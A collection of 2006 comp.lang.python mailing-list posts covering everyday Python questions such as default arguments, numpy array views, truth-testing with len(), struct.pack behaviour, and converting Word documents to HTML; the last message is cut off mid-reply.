Message-ID: <4522CB60.3050808@tim.thechases.com>

> def f(var=1):
> return var*2
> 
> What value do I have to pass to f() if I want it to evaluate var to 1?
> I know that f() will return 2, but what if I absolutely want to pass a
> value to f()? "None" doesn't seem to work..

 >>> def f(var=1):
...     return var*2
...
 >>> f()
2
 >>> f(0.5)
1.0
 >>> f(123)
246
 >>> f('hello')
'hellohello'


I'm not sure I follow your problem...what's stopping you from 
passing a value?

-tkc






From jeff.clough at gmail.com  Fri Oct 13 22:19:36 2006
From: jeff.clough at gmail.com (jeff.clough at gmail.com)
Date: 13 Oct 2006 19:19:36 -0700
Subject: Newbie: how to wait for callbacks...
In-Reply-To: <12ivg8tpvmv9206@corp.supernews.com>
References: <12ivg8tpvmv9206@corp.supernews.com>
Message-ID: <1160792376.745345.308920@m7g2000cwm.googlegroups.com>

On Oct 13, 12:38 pm, Jan Bakuwel <jan.baku... at int.greenpeace.org>
wrote:
> Hoi all,
>
> I'm trying to write a little code that waits for a callback routine to
> be called, ideally with a timeout...
>
> I guess the code below is not right (using a boolean flag), but since
> I'm new to Python, I don't know yet where the semaphores live and/or
> whether I'm on the right track...
>
> Any help is much appreciated...
>
> Jan
>
> def processEmail(emailMessage):
>
>     sendSent = False
>
>     def sendComplete(result):
>         print "Message sent successfully"
>         processEmail.sendSent = True
>     #end sendComplete
>
>     def sendFailed(error):
>         print >> sys.stderr, "Error", error.getErrorMessage()
>         processEmail.sendSent = True
>     #end sendFailed
>
>     if emailMessage.is_multipart():
>         print "...multipart"
>         for pl in emailMessage.walk():
>             pass
>     else:
>         print "...not multipart"
>     # simulate some processing that will take place here
>     time.sleep(1)
>
>     multiMessage = MIMEMultipart()
>     multiMessage['From'] = emailMessage['From']
>     multiMessage['To'] = emailMessage['To']
>     multiMessage['Subject'] = emailMessage['Subject']
>     messageData = multiMessage.as_string(unixfrom=False)
>     sending = smtp.sendmail('smtp', '... at t.t', '... at t.t', messageData)
>     sending.addCallback(sendComplete).addErrback(sendFailed)
>
>     while not processEmail.sendSent:
>         print "z"
>         time.sleep(0.1)
>     #end while
>
>     print "...done"
>     #raise smtp.SMTPDeliveryError(code=550, resp="Unable to deliver
> email, please try again later", isFatal=True, retry=False)
>     print ""
>     #endif
>
> #end ProcessEmail

For semaphores, check out the mutex module
(http://docs.python.org/lib/module-mutex.html). For timeouts, look at
the alarm signal in the signal module
(http://docs.python.org/lib/module-signal.html).

--Jeff



From paul at boddie.org.uk  Tue Oct 24 16:37:44 2006
From: paul at boddie.org.uk (Paul Boddie)
Date: 24 Oct 2006 13:37:44 -0700
Subject: The status of Python and SOAP?
References: <1161715924.235584.30790@m7g2000cwm.googlegroups.com>
Message-ID: <1161722264.621813.144120@f16g2000cwb.googlegroups.com>

Thomas W wrote:
> I'm going to give a presentation of python to my co-workers at a very
> pro-microsoft workplace. Almost everything we need is currently
> supported by the standard distro + the win32all package, but we also
> need support for SOAP. I've tried SOAPpy ( didn't get it to compile,
> needed a library from a dead site ) and a few others, but I cannot help
> the feeling that SOAP isn't very high on the list of priorities in the
> python community. I hope I'm wrong.

The Debian and Ubuntu repositories are quite good at providing complete
source packages, even when the original package is incomplete and
points you to non-existent or no-longer-existent Web sites. See this
page for some leads:

http://packages.debian.org/unstable/python/python-soappy

(I guess that you're talking about fpconst.)

Good luck with the presentation!

Paul



From durumdara at gmail.com  Mon Oct 16 10:41:27 2006
From: durumdara at gmail.com (durumdara)
Date: Mon, 16 Oct 2006 16:41:27 +0200
Subject: How to increase buffer size of a file ?
Message-ID: <45339A17.1070607@gmail.com>

Hello !

How to increase buffer size of a file ?
I want to use more buffer, but I don't want to replace every file object 
with my class.

It have a contant in a module ?

Thanks for your help:
    dd



From mensanator at aol.com  Sat Oct 14 20:30:14 2006
From: mensanator at aol.com (mensanator at aol.com)
Date: 14 Oct 2006 17:30:14 -0700
Subject: Starting out.
In-Reply-To: <mailman.515.1160852626.11739.python-list@python.org>
References: <1160696277.628987.277700@i42g2000cwa.googlegroups.com>
	<1160784543.238714.132310@k70g2000cwa.googlegroups.com>
	<mailman.499.1160806083.11739.python-list@python.org>
	<1160847793.990888.95790@m7g2000cwm.googlegroups.com>
	<mailman.515.1160852626.11739.python-list@python.org>
Message-ID: <1160872213.933965.4720@e3g2000cwe.googlegroups.com>


Fredrik Lundh wrote:
> mensanator at aol.com wrote:
>
> > (according to the Urban Dictionary).
>
> talk about reliable sources...

Well, as far as doing the research to prove them wrong,
I'll give it a miss.

> 
> </F>



From johnjsal at NOSPAMgmail.com  Mon Oct 30 14:52:15 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Mon, 30 Oct 2006 19:52:15 GMT
Subject: wxPython TextCtrl - weird scrolling behavior
In-Reply-To: <1162237089.308746.70370@e3g2000cwe.googlegroups.com>
References: <1162237089.308746.70370@e3g2000cwe.googlegroups.com>
Message-ID: <PJs1h.204$1n3.4348@news.tufts.edu>

abcd wrote:
> I have a TextCtrl which is set to be multi-line.  I have a function
> say, updateText(msg), which takes some string and appends it to the
> text control...
> 
> txtControl.AppendText(msg)
> 
> ....however, if the text that I am appending would cause the scroll
> bars to appear/or scroll since the text is long the textcontrol appears
> to be blank, until you click on the scroll bar...then the text appears.
>  Any ideas?  is this is a sizer problem or a TextCtrl issue??
> 
> thanks
> 

Don't know for sure, but you can try calling the Refresh() method on the 
text control and see if that fixes it.


From hans at zephyrfalcon.org  Wed Oct 18 15:17:18 2006
From: hans at zephyrfalcon.org (Hans Nowak)
Date: Wed, 18 Oct 2006 15:17:18 -0400
Subject: Wax: problem subclassing TextBox
In-Reply-To: <1161162072.705323.196030@m7g2000cwm.googlegroups.com>
References: <1161162072.705323.196030@m7g2000cwm.googlegroups.com>
Message-ID: <45367DBE.6000408@zephyrfalcon.org>

alex23 wrote:
> Hey everyone,
> 
> I've just started looking at Wax and have hit a problem I can't
> explain. I want an app to respond to every character input into a
> TextBox.
> 
> Here's a simple, working example:
> 
> +++
> from wax import *
> 
> class MainFrame(VerticalFrame):
>   def Body(self):
>     self.search = TextBox(self)
>     self.search.OnChar = self.OnChar
>     self.AddComponent(self.search, expand='h', border=5)
> 
>   def OnChar(self, event):
>     print 'OnChar:', event.GetKeyCode()
>     event.Skip()
> 
> app = Application(MainFrame)
> app.Run()
> +++
> 
> This displays a TextBox and entering "abcd" results in:
> 
>   OnChar: 97
>   OnChar: 98
>   OnChar: 99
>   OnChar: 100
> 
> Rather than defining the OnChar hook on the main frame, though, it
> makes more sense (to me) to be defined on the TextBox itself, so I
> tried subclassing it as follows:
> 
> +++
> class NewTextBox(TextBox):
>   def OnChar(self, event):
>     print 'on char', event.GetKeyCode()
>     event.Skip()
> 
> class MainFrame(VerticalFrame):
>   def Body(self):
>     self.search = NewTextBox(self)
>     self.AddComponent(self.search, expand='h', border=5)
> +++
> 
> With the same input of 'abcd', I get the following:
>   on char 97
>   on char 97
>   on char 98
>   on char 98
>   on char 99
>   on char 99
>   on char 100
>   on char 100

Heh, that's a bug.  As a temporary solution, go to textbox.py and 
comment out the line in the __events__ dict that says 'Char': wx.EVT_CHAR.

I will need to fix the way Wax handles events like these; this will 
probably be solved in the next release.

-- 
Hans Nowak
http://zephyrfalcon.org/



From jurgenex at hotmail.com  Sat Oct 28 07:36:44 2006
From: jurgenex at hotmail.com (Jürgen Exner)
Date: Sat, 28 Oct 2006 11:36:44 GMT
Subject: what are the most frequently used functions?
References: <1162020254.660829.124900@e3g2000cwe.googlegroups.com>
	<ehvevg$614$1@news.albasani.net>
Message-ID: <ghH0h.91$pU3.67@trndny08>

> Xah Lee wrote:
>> I had a idea today.

Oh, really? You should mark your calendar and celebrate the day annually!!!

>> I wanted to know what are the top most frequently used functions in
>> the emacs lisp language.

And the relationship with Perl, Python, Java is exactly what?

jue 




From rolf.wester at ilt.fraunhofer.de  Tue Oct 31 07:04:55 2006
From: rolf.wester at ilt.fraunhofer.de (Rolf Wester)
Date: Tue, 31 Oct 2006 13:04:55 +0100
Subject: concatenating numpy arrays
Message-ID: <45473c28$1@news.fhg.de>

Hi,

I want to concatenate two numpy arrays with shape (n1,n2) and (n1,n3) 
into a single array with shape (n1,n2+n3). I guess there is an elegant 
way to do this but I couldn't figure it out. So any help is very much 
appreciated.

Regards

Rolf


From maxerickson at gmail.com  Sat Oct 14 19:12:43 2006
From: maxerickson at gmail.com (Max Erickson)
Date: Sat, 14 Oct 2006 23:12:43 +0000 (UTC)
Subject: Ok. This IS homework ...
References: <1160866295.553656.112730@m7g2000cwm.googlegroups.com>
Message-ID: <Xns985CC369E1207maxericksongmailcom@80.91.229.5>

"spawn" <evilrottenspawn at gmail.com> wrote:

> but I've been struggling with this for far too long and I'm about
> to start beating my head against the wall.
> --------------------------
> 
> I tried adding an additional "while" statement to capture the
> second number, but it didn't seem to solve my problem.  Help!
> 

Reread whatever material you have about while loops, or just consult 
the python documentation, and then think about why your program(as 
posted anyway) is never printing done.

Hope this isn't too much help,
max



From steve at REMOVE.THIS.cybersource.com.au  Sat Oct 28 18:10:59 2006
From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano)
Date: Sun, 29 Oct 2006 09:10:59 +1100
Subject: question about True values
References: <1161804934.010376.151330@f16g2000cwb.googlegroups.com>
	<453FD3AF.4040800@v.loewis.de>
	<1161812827.596356.316450@f16g2000cwb.googlegroups.com>
	<donn-4380C3.15593125102006@gnus01.u.washington.edu>
	<1161860305.348329.283780@m73g2000cwd.googlegroups.com>
	<mailman.1264.1161861732.11739.python-list@python.org>
	<donn-15D0D7.09580726102006@gnus01.u.washington.edu>
	<slrnek3kvc.aqe.apardon@rcpc42.vub.ac.be>
	<mailman.1341.1161943345.11739.python-list@python.org>
	<slrnek3ohb.aqe.apardon@rcpc42.vub.ac.be>
	<mailman.1342.1161948402.11739.python-list@python.org>
	<slrnek3rko.aqe.apardon@rcpc42.vub.ac.be>
	<mailman.1345.1161950058.11739.python-list@python.org>
	<pan.2006.10.27.14.03.18.314595@REMOVE.THIS.cybersource.com.au>
	<1161973508.972142.109500@i42g2000cwa.googlegroups.com>
	<pan.2006.10.28.07.45.14.198030@REMOVE.THIS.cybersource.com.au>
	<1162031090.711952.228280@m7g2000cwm.googlegroups.com>
Message-ID: <pan.2006.10.28.22.10.57.345329@REMOVE.THIS.cybersource.com.au>

On Sat, 28 Oct 2006 03:24:50 -0700, Carl Banks wrote:

> Not all objects that have a state of emptiness consider emptiness to be
> false.

In which case they should define __nonzero__ appropriately.

In which case, calling code that assumes that len(obj) is a substitute for
truth-testing will do the wrong thing.


>> > Whether you test with "if a:" or "if len(a)>0", some objects are
>> > going to be denied.
>>
>> If a class doesn't define __nonzero__ or __len__, it should.
> 
> No, it often shouldn't.

Okay, I want to qualify my statement: if a class doesn't define
__nonzero__ or __len__, *and doesn't want the default Python behaviour of
all instances evaluating as True*, then they should.

> A. It's not always desirable for empty to be false.  Numpy defines a
> bunch of numeric array types that raise an exception when __nonzero__
> (actually nb_nonzero in the C API) is called.  This is the correct
> behavior for numpy.  It makes no sense for numpy arrays to be used in a
> boolean context, but they certainly can be empty.

And, appropriate to the class, numpy arrays raise an exception when
__nonzero__ is called -- just as they should.



> B. Sometimes it's impossible to determine the state of emptiness.  For
> example, iterators.

Since Guido has ruled that the protocol is that all iterators are True,
there is no need for __nonzero__ since the default behaviour does the job.


[snip]
>> Perhaps this behaviour has changed in version 2.5, if so, I'd like to
>> hear the rationalisation before I declare it a mistake.
> 
> You haven't been paying attention.
> 
> Yes, this behavior has been changed in 2.5.  The built-in iterators
> always return True in 2.5.  But even in 2.4, it was not true for
> iterators in general:

Yes, you are right. I was fooled by a coincidence.

> At no point could you count on an iterator returning False for empty,
> unless you'd made it yourself.  Neither "if a:" nor "if len(a)>0" is a
> valid test for an empty iterator.

Correct. Guido's decision is that iterators are always "Something" (that
is, True in a truth context) even if they are exhausted.


>> > P.S. binary trees do have length: it's the number of nodes, just as
>> > the number of keys is the length of a dict.
>>
>> I don't know what you were taught, but I was taught that binary trees
>> have height and breadth.
> 
> It doesn't really matter.  dicts and sets don't have a length, either.
> Or if they do, it's the length of the hash table, not the number of
> entries.  Weren't you taught that?  But Python uses len() to get the
> number of items in a container.  Any Pythonic implementation of a binary
> tree class would use len() to return the number of entries in it.
> Anything that uses indexing ought to define len(), if it can.

In the binary tree:

tree -->  A
A.left --> B, A.right --> C

what's tree[0]? Should it be A (preorder), or B (inorder) or C (postorder)?


> Overall, your objections don't really apply, since you're arguing what
> ought to be whereas my argument is pragmatic.  Practically speaking, in
> realistic situations, "if len(a)>0" will work for a wider range of types
> than "if a:".

Well, that's a quantitative claim you're making there. Have you
actually gone through, say, the built in types and checked how many
have a length versus how many work in a truth-context?

>>> import types
>>> if types:
...     print "Modules work with bool"
...
Modules work with bool
>>> if len(types)>0:
...     print "Modules work with len"
...
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
TypeError: len() of unsized object

"if len(a)>0:" only works for objects that define __len__. 

"if a:" works for any object that doesn't go to the trouble of
specifically prohibiting it, as numpy arrays deliberately do. That's the
Python way, and it is a deliberate design.


-- 
Steven.



From christer.xxx.jansson at ericsson.com  Fri Oct 27 07:17:37 2006
From: christer.xxx.jansson at ericsson.com (Jansson Christer)
Date: Fri, 27 Oct 2006 13:17:37 +0200
Subject: struct.pack bug?
Message-ID: <ehspsh$qu0$1@news.al.sw.ericsson.se>

Hi all,

I have discovered that in my Python 2.4.1 installation (on Solaris 8), 
struct.pack handles things in a way that seems inconsistent to me.

I haven't found any comprehensible documentation over known issues with 
Python 2.4.1 so I try this...

Here's the thing:

 >>> from struct import pack
 >>> pack('B', -1)
Traceback (most recent call last):
   File "<stdin>", line 1, in ?
struct.error: ubyte format requires 0<=number<=255
 >>> pack('H', -1)
Traceback (most recent call last):
   File "<stdin>", line 1, in ?
struct.error: short format requires 0<=number<=USHRT_MAX
 >>> pack('L', -1)
'\xff\xff\xff\xff'
 >>>

Shouldn't pack('L', -1) raise an exception like the others, rather than 
behaving like pack('l', -1)?
Is this fixed in later versions?

(I don't have access to later versions and have failed to install any.
Python 2.5 compiles nicely but "make install" fails without leaving any 
clues about how it failed and no installation troubleshooting guides to 
be found at python.org. Python 2.4.4 doesn't even compile since it 
apparently requires a newer libstdc++ than the one on our system... see 
why I'm asking the newsgroup?)

-- 
--

Christer Jansson
WiseOne AB
+46 708 21 42 84


From onurb at xiludom.gro  Mon Oct  9 07:11:36 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Mon, 09 Oct 2006 13:11:36 +0200
Subject: Bizzare lst length problem
In-Reply-To: <1160313974.040577.125970@e3g2000cwe.googlegroups.com>
References: <1160305922.469319.138520@i42g2000cwa.googlegroups.com>
	<mailman.53.1160306404.11739.python-list@python.org>
	<1160311703.533544.164250@i42g2000cwa.googlegroups.com>
	<1160312065.656400.275770@k70g2000cwa.googlegroups.com>
	<1160313168.683964.242350@c28g2000cwb.googlegroups.com>
	<mailman.55.1160313631.11739.python-list@python.org>
	<1160313804.076356.278210@c28g2000cwb.googlegroups.com>
	<1160313974.040577.125970@e3g2000cwe.googlegroups.com>
Message-ID: <452a2e69$0$3100$426a34cc@news.free.fr>

Ben wrote:
(OT : Ben, please stop top-posting, it's really annoying)0
> Ah - I found out why I had cast it to a string. 

cf my previous anwser on this point.

> I had not, at that
> point, worked out ho to pass the list by value rather than reference,

There's nothing like 'pass by value/pass by reference' in Python. When
passing arguments to a function, the arguments *names* are local to the
function, and the arguments "values" are really the objects you passed
to the function (not copies of these objects).

> and so was casting to a string as a stopgap measure that I then forgot
> about.  Now the problem is fixed after this group told me how to pass a
> list by value (by slicing the entire list)

It's still not "passing by value". It's just passing a *copy* of the
original list.

-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From bdesth.quelquechose at free.quelquepart.fr  Wed Oct 25 19:49:47 2006
From: bdesth.quelquechose at free.quelquepart.fr (Bruno Desthuilliers)
Date: Thu, 26 Oct 2006 01:49:47 +0200
Subject: What's the best IDE?
In-Reply-To: <1161818092.830293.141880@k70g2000cwa.googlegroups.com>
References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com>
Message-ID: <453ff3a7$0$23866$426a74cc@news.free.fr>

Hakusa at gmail.com a ?crit :
> Recently I've had some problems with PythonWin when I switched to
> Py2.5, tooka long hiatus, and came back. So now I'm without my god sent
> helper, and I'm looking for a cool replacement, or some advocation to
> reinstall/setup PyWin. But the Python website's list is irrefutably
> long. It would take a month or two to test all of those products. So
> I'm looking for experienced advocates.
 >
> What's your favorite IDE?
emacs

> What do you like about it?
1. It's so complicated and ugly that just using it is enough to makes 
you look like a seasonned pro.
2. It gives me a reason to engage in holy wars with vim users.

> It would be fine for a begginer, right?
Certainly not.

But you may want to look for other advices:
http://groups.google.com/groups?as_q=best+IDE&as_ugroup=comp.lang.python


From robertobech at gmail.com  Wed Oct  4 19:53:18 2006
From: robertobech at gmail.com (Roberto Bechtlufft)
Date: 4 Oct 2006 16:53:18 -0700
Subject: Curses and menus...
Message-ID: <1160005998.792960.33410@m7g2000cwm.googlegroups.com>

I'm trying hard to create my first useful python program: an rss reader
in curses. I wrote some really ugly code to create a highlighting menu:
the opprions are laid on the screen, and then pressing up and down i
move a white bar to mark the item. Kind of like dialog menus.

But the code is REALLY ugly. I read about curses libmenu, but seems
like it wasn't ported to Python... this sounds weird to me. Why wasn't
it ported?

Maybe there is an easier way to create these menus. I've already tried
urwid. but I got a bit confused over the syntax.. Maybe I could use
dialog and ncurses together. Do these two thing mix together nicely, or
is it a bad idea?



From schliep at molgen.mpg.de  Wed Oct  4 04:50:34 2006
From: schliep at molgen.mpg.de (Alexander Schliep)
Date: Wed, 04 Oct 2006 10:50:34 +0200
Subject: tkinter to mpeg
References: <1159805893.786448.191810@i42g2000cwa.googlegroups.com>
	<efrf8m$q4b$00$1@news.t-online.com> <e8a8v3-gsf.ln1@lairds.us>
Message-ID: <tscwt7gcvmt.fsf@karlin.molgen.mpg.de>

claird at lairds.us (Cameron Laird) writes:


> In article <efrf8m$q4b$00$1 at news.t-online.com>,
> Thomas Jollans <nospam at jollans.com> wrote:
>>On Mon, 02 Oct 2006 09:18:13 -0700, "dug" <mm2ps at yahoo.co.uk> let this
>>slip:
>>> I have a small program that moves some shapes around a tkinter canvas.
>>> Is there any way to save the output in a movie file, maybe mpeg?
>>
>>you can record any app with special programs designed for the job, such as
>>vnc2swf (which produces macromedia flash), vncrec (which produces a
>>special format readable by transcode) or istanbul (which produces
>>ogg/theora). I doubt Tk would have a special mechanism to do this.
> 			.
> I've actually been thinking about implementing just such a special
> mechanism.  Let me know if there's sufficient interest.

I think it would be most helpful to have a general way to dump the contents
of a Tkinter canvas including animated elements to some sort of file.
However, I would think that mpeg will look pretty bad compared to SVG.
In fact, as SVG renders much prettier (anti-aliasing etc.) than Tkinter,
the exported file would look much better.

I actually started coding SVG output for Gato (http://gato.sf.net). Some
of the things I realized:
- SVG support is somewhat limited on *nix.
- The SMIL type animations are even less supported. One would have to
  resort to javascript. There is SmilScript which implements a SMIL
  subset for Firefox 2.0? 
- Due to a bug in the SVG 1.1 specification multi-colored lines with 
  same color arrow-heads are difficult to draw. Supposedly, this will
  be fixed in 1.2.
- The geometry works differently in SVG compared to Tk. Arrow heads
  are stuck onto the end of a line for example. 

It would be trivial to wrap the Tkinter canvas in an object which
records what function is called when. For the basic canvas
items mapping this to SVG is quite straightforward. 

Alexander

PS: There is some python code to output SVG, which I didn't use since
I wanted to work on my applications abstraction level. 
http://www2.sfk.nl/svg 
http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/325823



--
Alexander Schliep schliep at molgen.mpg.de
http://algorithmics.molgen.mpg.de


From fred at adventistcare.org  Tue Oct  3 20:50:14 2006
From: fred at adventistcare.org (Sells, Fred)
Date: Tue, 3 Oct 2006 20:50:14 -0400 
Subject: CGI -> mod_python
Message-ID: <1A4BF05172023E468CB6E867923BC90402B6E2B7@accmail2.sunbelt.org>

I'm confused.

is WSGI only a specification, or are there implementations, and if so which
ones


From Eric_Dexter at msn.com  Sun Oct 15 00:22:29 2006
From: Eric_Dexter at msn.com (Eric_Dexter at msn.com)
Date: 14 Oct 2006 21:22:29 -0700
Subject: .doc to html and pdf conversion with python
In-Reply-To: <1160856811.227982.233820@h48g2000cwc.googlegroups.com>
References: <mailman.514.1160851435.11739.python-list@python.org>
	<1160856811.227982.233820@h48g2000cwc.googlegroups.com>
Message-ID: <1160886149.033558.318810@e3g2000cwe.googlegroups.com>

google won't do a good job with .doc files but they may do pdf to html
and back..  It's per each I just mentioned it to make fun of them here
is my resume converted from a monster.com .doc file

http://docs.google.com/View?docid=dftrj73t_3cfwjdv


Luap777 at gmail.com wrote:
> Alexander Klingenstein wrote:
> > I need to take a bunch of .doc files (word 2000) which have a little text including some tables/layout and mostly pictures and comvert them to a pdf and extract the text and images > separately too. If I have a pdf, I can do create the html with pdftohtml called from python with > popen. However I need an automated way to converst the .doc to PDF first.
>
> Is there some reason you really want to convert to PDF first? You can
> get much better HTML right from the Word doc. You'll lose a lot of info
> going from PDF to HTML.
>
> Something like this can open doc in Word, save as HTML, then close doc.
>
> import os, win32com.client
>
> wdApp = win32com.client.Dispatch("Word.Application")
> wdApp.Visible = 1
>
> def SaveDocAsHTML(docPath, htmlPath):
>     doc = wdApp.Documents.Open(docPath)
>     # See
> mk:@MSITStore:C:\Program%20Files\Microsoft%20Office\OFFICE11\1033\VBAWD10.CHM::/html/womthSaveAs1.htm
>     # in Word VBA help doc for more info.
>
>     # Saves all text and formatting with HTML tags so that the
> resulting document can be viewed in a Web browser.
>     doc.SaveAs(htmlPath, win32com.client.constants.wdFormatHTML)
>     # Saves text with HTML tags with minimal cascading style sheet
> formatting. The resulting document can be viewed in a Web browser.
>     #doc.SaveAs(htmlPath,
> win32com.client.constants.wdFormatFilteredHTML)
>     doc.Close()
>
> And if you aren't satisfied with the ugly HTML you're likely to get,
> you can try running  ?Tidylib (http://utidylib.berlios.de/) on the
> output after this step also.
> 
> Thank you,
> Paul



From martin at v.loewis.de  Mon Oct 23 18:50:22 2006
From: martin at v.loewis.de (=?ISO-8859-15?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Tue, 24 Oct 2006 00:50:22 +0200
Subject: Socket module bug on OpenVMS
In-Reply-To: <453ba3a8$0$322$e4fe514c@news.xs4all.nl>
References: <453ba3a8$0$322$e4fe514c@news.xs4all.nl>
Message-ID: <453D472E.2080606@v.loewis.de>

Irmen de Jong schrieb:
> In my opinion Python's socket module itself could implement these
> workarounds. That would make user code a lot cleaner and less
> error prone, and more portable. What do other people think?

It depends: when VMS defines MSG_WAITALL, but doesn't implement it
correctly, then Python probably shouldn't expose it.

Implementing recv() "splitting" is *not* something that Python
could do itself. The question is how you do error reporting
for partial results, and neither exception handling nor error
codes are particularly well-suited to such an error model: these
APIs all assume an all-or-none failure model (i.e. if receiving
fails, nothing has happened so far). If you were to split a
large recv call into multiple smaller ones, there wouldn't be
a good way to communicate both the partial result and the error
that you got on the last call.

Perhaps you had some different work-around in mind?

Regards,
Martin


From oliphant.travis at ieee.org  Thu Oct 12 19:03:05 2006
From: oliphant.travis at ieee.org (Travis Oliphant)
Date: Thu, 12 Oct 2006 17:03:05 -0600
Subject: numpy slice: create view, not copy
In-Reply-To: <12issm3bfcmh15e@corp.supernews.com>
References: <12issm3bfcmh15e@corp.supernews.com>
Message-ID: <egmhj9$4vh$1@sea.gmane.org>

K. Jansma wrote:
> Hi,
> 
> given an array:
> 
> import numpy
> a = numpy.arange(100).reshape((10,10))
> print a
> 
> [[ 0  1  2  3  4  5  6  7  8  9]
>  [10 11 12 13 14 15 16 17 18 19]
>  [20 21 22 23 24 25 26 27 28 29]
>  [30 31 32 33 34 35 36 37 38 39]
>  [40 41 42 43 44 45 46 47 48 49]
>  [50 51 52 53 54 55 56 57 58 59]
>  [60 61 62 63 64 65 66 67 68 69]
>  [70 71 72 73 74 75 76 77 78 79]
>  [80 81 82 83 84 85 86 87 88 89]
>  [90 91 92 93 94 95 96 97 98 99]]
> 
> 
> I'd like to create a new array that is a view of a, i.e. it shares data. If
> a is updated, this new array should be automatically 'updated'.
> 
> e.g. the array west should be a view of a that gives the element at the left
> of location i,j in a.
> a[i,j] = west[i,j+1]
> 
> west can be created using:
> 
> a[:,range(-1,a.shape[1]-1)]
> 
> As you can see, this also defines periodic boundaries (i.e. west[0,0] = 9)
> but it seems that this returns a copy of a, not a view.
> How can I change the slice definition in such a way it returns a view?

You can't get periodic boundary conditions but

a[:,1::]

should give you (part of) the view you are looking for.


-Travis





From mail at microcorp.co.za  Sat Oct 28 03:55:30 2006
From: mail at microcorp.co.za (Hendrik van Rooyen)
Date: Sat, 28 Oct 2006 09:55:30 +0200
Subject: ANN: wxPython 2.7.1.3
References: <45410281.4020302@alldunn.com>
	<8233478f0610270737tda65dabj5dffba46a12e0fea@mail.gmail.com>
Message-ID: <021901c6fab1$73113220$03000080@hendrik>

"Johann C. Rocholl" <johann at rocholl.net>wrote:

8<--------------------------------------

> Oh, it's fun to be a speling fanatic! :-)


six munce ago I could not even spell 'fatanic' - and now I are one...

I wander what a speling fanatic is?

- Hendrik



From max at alcyone.com  Fri Oct  6 06:18:02 2006
From: max at alcyone.com (Erik Max Francis)
Date: Fri, 06 Oct 2006 03:18:02 -0700
Subject: HOST - Assembla Inc. Breakout - Copyright Violation by Mr. Andy
	Singleton
In-Reply-To: <mailman.1445.1160129066.10491.python-list@python.org>
References: <1160082179.215729.164060@c28g2000cwb.googlegroups.com>	<PUeVg.14060$5o5.12327@tornado.texas.rr.com>	<1160088907.689743.252500@m7g2000cwm.googlegroups.com>	<mailman.1388.1160089812.10491.python-list@python.org>	<1160100015.211649.310540@m73g2000cwd.googlegroups.com>	<4omn7jFfe26cU1@uni-berlin.de>
	<mailman.1445.1160129066.10491.python-list@python.org>
Message-ID: <EbmdnehwrJn_sLvYnZ2dnUVZ_uidnZ2d@speakeasy.net>

Steve Holden wrote:

> I have to say I find the colour of your socks *much* more interesting.

Especially what with the skulls and all.

-- 
Erik Max Francis && max at alcyone.com && http://www.alcyone.com/max/
  San Jose, CA, USA && 37 20 N 121 53 W && AIM, Y!M erikmaxfrancis
   Can I lay with you / As your wife
    -- India Arie


From johnjsal at NOSPAMgmail.com  Thu Oct 26 16:50:49 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Thu, 26 Oct 2006 20:50:49 GMT
Subject: which one of these is better?
In-Reply-To: <mailman.1293.1161893376.11739.python-list@python.org>
References: <BR60h.167$1n3.4240@news.tufts.edu>	<Yu-dnbqskNs0mdzYnZ2dnUVZ_q-dnZ2d@comcast.com>	<YO70h.169$1n3.4160@news.tufts.edu>
	<mailman.1293.1161893376.11739.python-list@python.org>
Message-ID: <Jc90h.170$1n3.4082@news.tufts.edu>

Fredrik Lundh wrote:

> This wasn't very difficult, was it?

Well when you put it that way, no! :)

But one thing that caught me up was what happens if the initial 
expression raises an exception? For example:

with open('file.txt'):
     #do stuff

If the file can't be opened for whatever reason, does __exit__ get 
called, or can it not get that far if the expression doesn't evaluate?

I guess my thinking was this: before the with statement came along, the 
idiom for opening files was something like this:

try:
     open('file.txt')
     #do stuff
except IOError:
     #more stuff
except OtherError:
     #yet more

and so forth (and all this was wrapped in a try/finally blocked to close 
the file, I think). But now that we can use the 'with' statement, it 
seems like the initial opening of the file (previously "checked" in the 
try block) is now just floating around and still requires a try block 
wrapped around it in case something goes wrong.


From eldiener_no_spam_here at earthlink.net  Mon Oct  9 18:22:45 2006
From: eldiener_no_spam_here at earthlink.net (Edward Diener No Spam)
Date: Mon, 09 Oct 2006 22:22:45 GMT
Subject: Python component model
In-Reply-To: <1160429943.671916.43720@m73g2000cwd.googlegroups.com>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<mailman.130.1160418618.11739.python-list@python.org>
	<HwxWg.5035$Lv3.2259@newsread1.news.pas.earthlink.net>
	<1160429943.671916.43720@m73g2000cwd.googlegroups.com>
Message-ID: <VYzWg.7214$Y24.5083@newsread4.news.pas.earthlink.net>

goon wrote:
>>  or IBM's Eclipse for Java
> 
> Or Eclipse for Python using PyDev? [0]

Those are very nice features but there is no re-usable Python bean 
support like there is a Java bean. That was my initial point.


From fredrik at pythonware.com  Sun Oct  8 14:44:02 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Sun, 08 Oct 2006 20:44:02 +0200
Subject: Can't get around "IndexError: list index out of range"
In-Reply-To: <1160332330.684420.276560@e3g2000cwe.googlegroups.com>
References: <1159913403.234324.209750@e3g2000cwe.googlegroups.com>	<mailman.1223.1159934114.10491.python-list@python.org>	<1160179043.266322.311940@i3g2000cwc.googlegroups.com>	<mailman.1.1160189272.11739.python-list@python.org>	<1160198110.064741.133700@k70g2000cwa.googlegroups.com>	<mailman.18.1160209645.11739.python-list@python.org>	<1160241982.216511.281950@m73g2000cwd.googlegroups.com>	<mailman.28.1160242710.11739.python-list@python.org>	<1160262952.734016.306150@e3g2000cwe.googlegroups.com>	<452846fe.0@entanet>	<1160267115.309599.26160@e3g2000cwe.googlegroups.com>	<pan.2006.10.08.00.59.05.695547@REMOVE.THIS.cybersource.com.au>	<1160269607.522241.311160@m73g2000cwd.googlegroups.com>	<pan.2006.10.08.10.57.45.461044@REMOVE.THIS.cybersource.com.au>
	<1160332330.684420.276560@e3g2000cwe.googlegroups.com>
Message-ID: <egbgti$o6q$1@sea.gmane.org>

MonkeeSage wrote:

> With list.has_index() / get(), the following (pretty common I think)
> idiom:
> 
> try:
>   data = some_unknown_seq[2]
> except IndexError:
>   data = None
> if data: ...

umm.  you could at least write:

